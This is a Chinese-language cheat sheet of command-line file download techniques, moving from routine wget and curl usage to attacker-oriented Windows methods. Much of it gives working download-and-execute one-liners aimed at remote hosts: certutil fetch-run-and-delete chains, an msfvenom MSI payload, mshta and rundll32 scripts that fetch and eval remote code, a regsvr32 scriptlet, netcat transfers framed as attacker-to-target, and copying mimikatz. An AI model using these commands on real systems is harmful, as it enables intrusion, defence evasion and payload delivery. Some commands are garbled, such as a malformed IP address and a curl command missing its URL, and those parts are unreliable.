命令行下载——花里胡哨的玩法
命令行下载——花里胡哨的玩法
在我们的工作学习中,经常会用命令行在linux或Windows等系统上进行下载文件,这里总结一下一些常用的下载命令。
Linux 工具
1 wget
wget这个是个老熟人工具,功能也很丰富,可以充当某种功能完备的 GUI 下载管理器,它拥有一款理想的下载管理器所需要的所有功能,如: 它可以恢复下载、可以并发下载多个文件、可以重新下载,你甚至可以管理最大的下载带宽。
直接下载
wget http://www.weirui.com/bigcat.zip
后台下载
wget -b http://www.weirui.com/bigcat.zip
重新下载
wget -c http://www.weirui.com/bigcat.zip
ftp库下载文件
wget --ftp-user=user --ftp-password=password ftp://10.0.0.128/download/bigcat.tar.gz
2 curl
Curl 是常用的另一种高效的下载工具,它可以用来上传或下载文件。支持暂停和恢复下载程序包,并支持数量最多的 Web 协议,可预测下载完成还剩余多少时间,可通过进度条来显示下载进度。它是所有 Linux 发行版的内置工具。
直接下载
- o 选项,提供名称,下载文件会以该名称保存
- O 选项,文件就会以原始名称保存。
curl -o big.zip
下载
axel http://www.weirui.com/bigcat.zip
3 aria2
一种开源命令行下载加速器,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。
安装
apt-get install aria2
下载
aria2c http://www.weirui.com/bigcat.zip
4 Perl
Perl 是一门很吊的语言,使用它基本可以实现任何事情,用它实现文件下载也很容易。
#!perl #!/usr/bin/perl use LWP::Simple; getstore("http://domain/file", "file");
执行脚本
perl Test.pl
6 Python
Python 是很受欢迎的主流脚本语言,代码清晰且简洁:
#!python #!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close()
7 Ruby
Ruby 是一个面对对象的语言,Metasploit 框架就是用它来实现的,当然他也可以实现像下载文件这样的小任务。
#!ruby #!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }
执行脚本
ruby Test.rb
8 PHP
PHP 作为一种服务端脚本,也可以实现下载文件这种功能。
#!/usr/bin/php <?php $data = @file("http://example.com/file"); $lf = "local_file"; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh); ?>
执行脚本
php test.php
9 FTP
ftp是最常使用文件上传下载的场景,攻击者使用 FTP 上传文件需要很多交互的步骤,下面这个 bash 脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。
ftp 127.0.0.1 username password get file exit
终端交互
ftp 192.168.3.2 输入用户名和密码后 lcd E:\file # 进入E盘下的file目录 cd www # 进入服务器上的www目录 get access.log # 将服务器上的access.log下载到E:\file
10 Netcat
攻击方的电脑上输入如下命令:
这个命令会将 file 的内容输出到本地的 1234 端口中,然后不论谁连接此端口,file 的内容将会发送到连接过来的 IP。
cat file | nc -l 1234
目标电脑上的命令:
命令将连接攻击者的电脑,接受 file 内容保存
nc 10.0.0108 1234 > file
Windows 工具
1 Powershell
PowerShell 是一种 winodws 原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。
这两条指令实现了从 Internet 网络下载一个文件。
$ p = New-Object System.Net.WebClient $ p.DownloadFile("http://domain/file" "C:\%homepath%\file")
2 IP C$
copy \192.168.3.1\c$\test.exe E:\file cmd.exe /k < \webdavserver\folder\batchfile.txt
3 certutil
可以应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2
certutil -urlcache -split -f http://192.168.3.1/test.exe file.exe certutil -urlcache -split -f http://192.168.3.1/test.exe delete #删除缓存 certutil -verifyctl -split -f -split http://192.168.3.1/test.exe #此条命令,会将原文件下载成为临时 bin 文件,把名字改回来一样可以正常运行
文件下载并执行
certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete
4 Visual Basic
1998 年 Visual Basic 最终标准在 windows 上确定。下面的代码可以实现下载文件,虽然它的长度比 Powershell 长多了。
Set args = Wscript.Arguments Url = "http://domain/file" dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", Url, False xHttp.Send with bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile " C:\%homepath%\file", 2 ' end with
在 windows 中 Cscript 指令可以允许你执行 VBS 脚本文件或者对 script 脚本做一些设置。在 windows 7 中这个指令并不是必须要用到。但是在 windows XP 中需要使用这条指令
cscript test.vbs
5 Tftp
在 Windows Vista 以及以后的版本中默认有 FTP,可以使用以下命令运行
tftp -i 10.0.0.8 PUT C:\%home%\file /data【远程存储位置】
下载
tftp -i 10.0.0.8 get C:\%home%\file /data【本地存储位置】
6 Bitsadmin
Bitsadmin 是 Windows 命令行工具,用户可以使用它来创建下载或上传的任务。只能命令下载到指定路径上,win7 以上.
bitsadmin /transfer myDownLoadJob /download /priority normal "http://10.0.0.8/b.ps1" "D:\\phpstudy_pro\\WWW\\b.ps1" bitsadmin /rawreturn /transfer getfile http://10.0.0.8/test.txt D:\file\test.txt bitsadmin /rawreturn /transfer getpayload http://10.0.0.8/test.txt D:\file\test.txt
7 msiexec
msiexec /q /i http://192.168.3.1/calc.png calc.png: msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png
8 IEexec
C:\Windows\Microsoft.NET\Framework\v2.0.527 > caspol -s off C:\Windows\Microsoft.NET\Framework\v2.0.57 > IEExec http://10.0.0.91/test.exe
9 Python
需要提前安装好Python环境
C:\python27\python.exe -c “import urllib2; exec urllib2.urlopen(‘http://10.0.0.8/test.zip’).read();”
10 Mshta
mshta http://10.0.0.8/run.hta
run.hta 内容如下:
<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <HEAD> <script language="VBScript"> Window.ReSizeTo 0, 0 Window.moveTo -2000,-2000 Set objShell = CreateObject("Wscript.Shell") objShell.Run "cmd.exe /c net user" // 这里填写命令 self.close </script> <body>demo</body> </HEAD> </HTML> mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
11 rundll32
依赖于 WScript.shell 这个组件
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://10.0.0.8:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%
12 Regsver32
Regsvr32 命令用于注册 COM 组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。
WinXP 及以上系统的 regsvr32.exe 在 windows\system32 文件夹下;2000 系统的 regsvr32.exe 在 winnt\system32 文件夹下。
regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll
test.data内容
<?XML version="1.0"?> <scriptlet> <registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}" > <!-- Learn from Casey Smith @subTee --> <script language="JScript"> <![CDATA[ ps = "cmd.exe /c calc.exe"; new ActiveXObject("WScript.Shell").Run(ps,0,true); ]]> </script> </registration> </scriptlet>
可以利用https://github.com/CroweCybersecurity/ps1encode 生成 sct 文件
regsvr32 /u /s /i:http://10.0.0.8/test.sct scrobj.dll
13 Windows share
Windows shares 可以加载一个驱动器,然后用命令来复制文件。
加载远程驱动:
net use x: \\10.0.0.8\share /user:example.com\userID Password
14 格式转换
把一个 exe 文件放到目标计算机上时,Nishang 可以使用 PowerShell 允许你把一个 exe 转换成 hex,然后把 hex 再转换成原来的 exe 文件:
exe 转成 hex 文件输入
PS > .\ExetoText.ps1 evil.exe evil.txt
hex 文件还原成 exe
打开 evil.txt 文件,复制内容,然后通过 RDP 的剪贴板复制进目标计算机,把 hex 文件还原成 exe 文件输入
PS > .\TexttoExe.ps1 evil.text evil.exe
MSXSL.EXE
msxsl.exe 是微软用于命令行下处理 XSL 的一个程序,所以通过他,我们可以执行 JavaScript 进而执行系统命令。
pubprn.vbs
在 Windows 7 以上版本存在一个名为 PubPrn.vbs 的微软已签名 WSH 脚本,其位于
C:\Windows\System32\Printing_Admin_Scripts\en-US
esentutl.exe/extrac32.exe
esentutl.exe /y "\\10.0.0.8\share mimikatz_trunk.zip" /d"C:\Users\Public\mimikatz_trunk.zip" /0 extrac32.exe /Y /C \\10.0.0.8\share\test.txt C:\Users\Public\test.txt
desktopimgdownldr.exe
desktopimgdownldr.exe 位于 Win10 的 system32 文件夹中,原本用于设置锁定屏幕或桌面背景图像的。
普通用户可以用:
set "SYSTEMROOT=C:\ProgramData" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://www.weirui.org/xxx.jpg /eventName:desktopimgdownldr
可以把 C:\ProgramData 来改成一个普通用户可写的目录,如下:
下载文件路径
C:\ProgramData\Personalization\LockScreenImage\x_%random%.exe.
管理员用户会多写一个注册表项,所以管理员最好的命令是
set "SYSTEMROOT=C:\ProgramData\" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://www.weirui.org/bigcat.zip /eventName:desktopimgdownldr && reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /f